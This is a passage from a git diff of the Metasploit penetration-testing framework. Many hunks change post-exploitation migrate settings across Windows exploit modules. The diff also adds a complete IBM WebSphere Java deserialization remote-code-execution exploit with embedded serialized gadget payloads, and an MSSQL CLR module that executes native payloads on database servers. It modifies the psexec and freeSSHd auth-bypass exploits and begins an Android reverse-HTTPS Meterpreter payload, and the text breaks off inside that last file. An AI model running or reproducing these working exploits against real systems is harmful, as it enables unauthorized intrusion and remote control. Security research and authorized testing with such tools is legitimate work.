a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb index 241ec0cf1a..ed854078fd 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb index 8982d9bbbe..cb1cb33e23 100644 --- a/modules/exploits/windows/http/hp_nnm_ovas.rb +++ b/modules/exploits/windows/http/hp_nnm_ovas.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'WfsDelay' => 45, 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 37d8c6bd7d..983dab3561 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb index 47d8108ede..f3be23758f 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - "InitialAutoRunScript" => "migrate -f", + "InitialAutoRunScript" => "post/windows/manage/priv_migrate", }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb index fefa7d78f4..272bfd4771 100644 --- a/modules/exploits/windows/local/panda_psevents.rb +++ b/modules/exploits/windows/local/panda_psevents.rb @@ -61,10 +61,10 @@ class MetasploitModule < Msf::Exploit::Local def get_path() case sysinfo['OS'] - when /Windows (7|8|10|2012|2008)/ - return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' when /Windows (NT|XP)/ return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' + else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system + return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' end end diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb index b67a2c6433..cd7a9bfb62 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote { # best at delaying/preventing target crashing post-exploit 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb index e67cc1e95e..b3b75c9574 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb index 5d48e0a692..202b6351b9 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb index 373922133a..a3ac4f3342 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb index 8741273ee4..2a453e4651 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb b/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb new file mode 100644 index 0000000000..b68585d79a --- /dev/null +++ b/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization + call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows + remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Liatsis Fotios @liatsisfotios' # Metasploit Module + + # Thanks for helping me: + # # # # # # # # # # # # + + # Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module + # Dimitriadis Alexios @AlxDm_ # Assistance and code check + # Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation + ], + 'References' => + [ + ['CVE', '2015-7450'], + ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], + ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], + ['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171'] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'IBM WebSphere 7.0.0.0', {} ] + ], + 'DisclosureDate' => "Nov 6 2015", + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'WfsDelay' => 20 + })) + + register_options([ + OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']), + Opt::RPORT('8880') + ], self.class) + end + + + def exploit + # Decode - Generate - Set Payload / Send SOAP Request + soap_request(set_payload) + end + + def set_payload + # CommonCollections1 Serialized Streams + ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ=" + ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo=" + + # Generate Payload + payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end) + payload_exec = Rex::Text.encode_base64(payload_exec) + end + + def invoke_ccs(serialized_stream) + # Decode Serialized Streams + serialized_stream = Rex::Text.decode_base64(serialized_stream) + end + + def gen_payload + # Staging Native Payload + exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "") + + # Size up RCE - Buffer + cmd_lng = exec_cmd.length + lng2str = "0" + cmd_lng.to_s(16) + buff = [lng2str].pack("H*") + + rce_pld = buff + exec_cmd + end + + def soap_request(inject_payload) + # SOAP Request + req = "" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "BasicAuth" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "" + inject_payload + "" + "\r\n" + req += "ringBufferSize" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + + uri = target_uri.path + + res = send_request_raw({ + 'method' => 'POST', + 'version' => '1.1', + 'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n", + 'uri' => normalize_uri(uri), + 'data' => req + }) + end + +end diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb index f1f6199933..677ab83852 100644 --- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb +++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => ['win'], 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb index 99c952ef24..1def1adc90 100644 --- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb +++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'EXITFUNC' => 'process' }, 'Payload' => diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb index 42ab69a938..9c6d3dcffb 100644 --- a/modules/exploits/windows/misc/splayer_content_type.rb +++ b/modules/exploits/windows/misc/splayer_content_type.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb index 6975c8e264..1bd28765a2 100644 --- a/modules/exploits/windows/misc/stream_down_bof.rb +++ b/modules/exploits/windows/misc/stream_down_bof.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index ebf8b5f23c..3dd0997aaa 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -64,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb new file mode 100644 index 0000000000..0a42c5a331 --- /dev/null +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -0,0 +1,212 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::MSSQL + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution', + 'Description' => %q{ + This module executes an arbitrary native payload on a Microsoft SQL + server by loading a custom SQL CLR Assembly into the target SQL + installation, and calling it directly with a base64-encoded payload. + + The module requires working credentials in order to connect directly to the + MSSQL Server. + + This method requires the user to have sufficient privileges to install a custom + SQL CRL DLL, and invoke the custom stored procedure that comes with it. + + This exploit does not leave any binaries on disk. + + Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). + }, + 'Author' => + [ + 'Lee Christensen', # original idea/research + 'Nathan Kirk', # extra research/blog post + 'OJ Reeves' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/'] + ], + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 01 1999' + )) + + register_options( + [ + OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master']) + ]) + end + + def check + unless mssql_login_datastore(datastore['DATABASE']) + vprint_status('Invalid SQL Server credentials') + return Exploit::CheckCode::Detected + end + + version = get_sql_version_string + + unless version =~ /Server 20(05|08|12|14|16)/ + vprint_status('Unsupported version of SQL Server') + return Exploit::CheckCode::Safe + end + + if mssql_is_sysadmin + vprint_good "User #{datastore['USERNAME']} is a sysadmin" + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + ensure + disconnect + end + + def get_sql_version_string + mssql_query("select @@version", false)[:rows].first[0] + end + + def get_sql_architecture(sql_version_string) + if sql_version_string =~ /(64-bit|x64)/i + ARCH_X64 + else + ARCH_X86 + end + end + + def get_exploit_version(sql_version_string) + # keeping it simple at this point. + if sql_version_string =~ /Server (2005|2008|2012)/ + 'v3.5' + else + # assume 2014/2016 at this point. + 'v4.0' + end + end + + def set_trustworthy(on) + mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false) + end + + def is_trustworthy + # SQLi in MSF!! OMG! + result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false) + result[:rows][0] == 'ON' + end + + def enable_clr(enable) + query = %Q^ +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'clr enabled', #{enable ? 1 : 0}; +RECONFIGURE; + ^ + mssql_query(query, false) + end + + def is_clr_enabled + result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false) + result[:rows][0] == 'ON' + end + + def exploit + unless mssql_login_datastore(datastore['DATABASE']) + fail_with(Failure::BadConfig, 'Unable to login with the given credentials') + end + + unless mssql_is_sysadmin + fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions') + end + + # This module will only support 'thread' for EXITFUNC + # Bad things happen to SQL otherwise! + unless datastore['EXITFUNC'] == 'thread' + print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server") + datastore['EXITFUNC'] = 'thread' + end + + sql_version = get_sql_version_string + vprint_status("Target SQL Version is:\n#{sql_version}") + + sql_arch = get_sql_architecture(sql_version) + unless payload.arch.first == sql_arch + fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}") + end + + trustworthy = is_trustworthy + clr_enabled = is_clr_enabled + + unless trustworthy + print_status('Database does not have TRUSTWORTHY setting on, enabling ...') + set_trustworthy(true) + end + + unless clr_enabled + print_status('Database does not have CLR support enabled, enabling ...') + enable_clr(true) + end + + exploit_version = get_exploit_version(sql_version) + print_status("Using version #{exploit_version} of the Payload Assembly") + exploit_file_path = ::File.join(Msf::Config.install_root, 'data', + 'SqlClrPayload', exploit_version, 'SqlClrPayload.dll') + vprint_status("Using #{exploit_file_path}") + + assembly = ::File.read(exploit_file_path) + + # Convert the assembly to the required format for execution of the stored + # procedure to create the custom stored proc + hex_assembly = "0x#{assembly.unpack('H*')[0]}" + asm_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" + + print_status('Adding custom payload assembly ...') + mssql_query(query, false) + + proc_name = Rex::Text.rand_text_alpha(rand(4) + 8) + param_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]" + + print_status('Exposing payload execution stored procedure ...') + mssql_query(query, false) + + # Generate the base64 encoded payload + b64payload = Rex::Text.encode_base64(payload.encoded) + query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'" + print_status('Executing the payload ...') + mssql_query(query, false) + + print_status('Removing stored procedure ...') + mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false) + + print_status('Removing assembly ...') + mssql_query("DROP ASSEMBLY [#{asm_name}]", false) + + unless clr_enabled + print_status('Restoring CLR setting ...') + enable_clr(false) + end + + unless trustworthy + print_status('Restoring Trustworthy setting ...') + set_trustworthy(false) + end + + ensure + disconnect + end + +end diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 7eb98360a0..20b75e5f6b 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb index dc3b814a0a..95f61cef26 100644 --- a/modules/exploits/windows/scada/daq_factory_bof.rb +++ b/modules/exploits/windows/scada/daq_factory_bof.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb index 9461c4b2e5..b956075708 100644 --- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb +++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb index d416fd0189..cf80ea00a2 100644 --- a/modules/exploits/windows/scada/moxa_mdmtool.rb +++ b/modules/exploits/windows/scada/moxa_mdmtool.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index 9da0341ab1..cdf1c9f123 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb index d7ddb592f7..7d1fce97df 100644 --- a/modules/exploits/windows/scada/winlog_runtime.rb +++ b/modules/exploits/windows/scada/winlog_runtime.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 4b7166c21f..9d7e2152a5 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -84,7 +84,8 @@ class MetasploitModule < Msf::Exploit::Remote [ OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), - OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']) + OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']), + OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil]) ], self.class) end @@ -163,6 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote end def powershell + ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] @@ -181,6 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote def native_upload filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) + serviceencoder = datastore['SERVICE_STUB_ENCODER'] || '' # Upload the shellcode to a file print_status("Uploading payload...") @@ -202,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote fd = smb_open("\\#{filename}", 'rwct') end exe = '' - opts = { :servicename => servicename } + opts = { :servicename => servicename, :serviceencoder => serviceencoder} begin exe = generate_payload_exe_service(opts) diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index 38c126d06c..5cfa961329 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::EXE + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, @@ -80,24 +80,8 @@ class MetasploitModule < Msf::Exploit::Remote end - def upload_payload(connection) - exe = generate_payload_exe - filename = rand_text_alpha(8) + ".exe" - cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) - opts = { - :linemax => 1700, - :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"), - } - - cmds = cmdstager.generate(opts) - - if (cmds.nil? or cmds.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError - end - cmds.each { |cmd| - connection.exec!("cmd.exe /c "+cmd) - } + def execute_command(cmd, opts = {}) + @connection.exec!("cmd.exe /c "+cmd) end def setup_ssh_options @@ -167,18 +151,17 @@ class MetasploitModule < Msf::Exploit::Remote options = setup_ssh_options - connection = nil + @connection = nil each_user do |username| next if username.empty? - connection=do_login(username,options) - break if connection + @connection=do_login(username,options) + break if @connection end - if connection + if @connection print_status("Uploading payload, this may take several minutes...") - upload_payload(connection) - handler + execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700) end end diff --git a/modules/payloads/singles/android/meterpreter_reverse_https.rb b/modules/payloads/singles/android/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..b402be77a6 --- /dev/null +++ b/modules/payloads/singles/android/meterpreter_reverse_https.rb @@ -0,0 +1,54 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/android' +require 'msf/core/payload/uuid/options' +require 'msf/base/sessions/meterpreter_android' +require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' + +module MetasploitModule + + CachedSize = :dynamic + + include Msf::Payload::TransportConfig + include Msf::Payload::Single + include Msf::Payload::Android + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + + def initialize(info = {}) + + super(merge_info(info, + 'Name' => 'Android Meterpreter Shell, Reverse HTTPS Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter shell', + 'License' => 